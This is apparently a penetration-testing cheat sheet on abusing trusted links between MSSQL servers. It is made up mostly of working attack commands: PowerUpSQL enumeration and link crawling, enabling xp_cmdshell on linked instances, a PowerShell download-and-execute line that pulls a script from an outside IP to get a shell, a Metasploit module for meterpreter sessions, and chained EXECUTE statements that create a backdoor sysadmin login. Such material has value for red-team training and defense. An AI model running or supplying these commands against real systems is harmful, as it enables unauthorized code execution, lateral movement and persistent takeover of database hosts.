MSSQL Trusted Links

If a user has privileges to access MSSQL instances, he could be able to use it to execute commands in the MSSQL host (if running as SA). Also, if a MSSQL instance is trusted (database link) by a different MSSQL instance. If the user has privileges over the trusted database, he is going to be able to use the trust relationship to execute queries also in the other instance. This trusts can be chained and at some point the user might be able to find some misconfigured database where he can execute commands.
The links between databases work even across forest trusts.

Powershell

Import-Module .\PowerupSQL.psd1
#Get local MSSQL instance (if any)
Get-SQLInstanceLocal
Get-SQLInstanceLocal | Get-SQLServerInfo
#If you don't have a AD account, you can try to find MSSQL scanning via UDP
#First, you will need a list of hosts to scan
Get-Content c:\temp\computers.txt | Get-SQLInstanceScanUDP –Verbose –Threads 10
#If you have some valid credentials and you have discovered valid MSSQL hosts you can try to login into them
#The discovered MSSQL servers must be on the file: C:\temp\instances.txt
Get-SQLInstanceFile -FilePath C:\temp\instances.txt | Get-SQLConnectionTest -Verbose -Username test -Password test
## FROM INSIDE OF THE DOMAIN
#Get info about valid MSQL instances running in domain
#This looks for SPNs that starts with MSSQL (not always is a MSSQL running instance)
Get-SQLInstanceDomain | Get-SQLServerinfo -Verbose
#Test connections with each one
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -verbose
#Try to connect and obtain info from each MSSQL server (also useful to check conectivity)
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose
#Dump an instance (a lotof CVSs generated in current dir)
Invoke-SQLDumpInfo -Verbose -Instance "dcorp-mssql"
#Look for MSSQL links of an accessible instance
Get-SQLServerLink -Instance dcorp-mssql -Verbose #Check for DatabaseLinkd > 0
#Crawl trusted links, starting form the given one (the user being used by the MSSQL instance is also specified)
Get-SQLServerLinkCrawl -Instance mssql-srv.domain.local -Verbose
#If you are sysadmin in some trusted link you can enable xp_cmdshell with:
Get-SQLServerLinkCrawl -instance "<INSTANCE1>" -verbose -Query 'EXECUTE(''sp_configure ''''xp_cmdshell'''',1;reconfigure;'') AT "<INSTANCE2>"'
#Execute a query in all linked instances (try to execute commands), output should be in CustomQuery field
Get-SQLServerLinkCrawl -Instance mssql-srv.domain.local -Query "exec master..xp_cmdshell 'whoami'"
#Obtain a shell
Get-SQLServerLinkCrawl -Instance dcorp-mssql -Query 'exec master..xp_cmdshell "powershell iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1'')"'
#Check for possible vulnerabilities on an instance where you have access
Invoke-SQLAudit -Verbose -Instance "dcorp-mssql.dollarcorp.moneycorp.local"
#Try to escalate privileges on an instance
Invoke-SQLEscalatePriv –Verbose –Instance "SQLServer1\Instance1"

Metasploit

You can easily check for trusted links using metasploit.
#Set username, password, windows auth (if using AD), IP...
msf> use exploit/windows/mssql/mssql_linkcrawler
[msf> set DEPLOY true] #Set DEPLOY to true if you want to abuse the privileges to obtain a meterpreter session
Notice that metasploit will try to abuse only the openquery() function in MSSQL (so, if you can't execute command with openquery() you will need to try the EXECUTE method manually to execute commands, see more below.)

Manual - Openquery()

From Linux you could obtain a MSSQL console shell with sqsh and mssqlclient.py and run queries like:
select * from openquery("DOMINIO\SERVER1",'select * from openquery("DOMINIO\SERVER2",''select * from master..sysservers'')')
From Windows you could also find the links and execute commands manually using a MSSQL client like HeidiSQL
Login using Windows authentication:
Find links inside the accessible MSSQL server (in this case the link is to dcorp-sql1): select * from master..sysservers
Execute queries through the link (example: find more links in the new accessible instance): select * from openquery("dcorp-sql1", 'select * from master..sysservers')
You can continue these trusted links chain forever manually.
Some times you won't be able to perform actions like exec xp_cmdshell from openquery() in those cases it might be worth it to test the following method:

Manual - EXECUTE

You can also abuse trusted links using EXECUTE:
#Create user and give admin privileges
EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"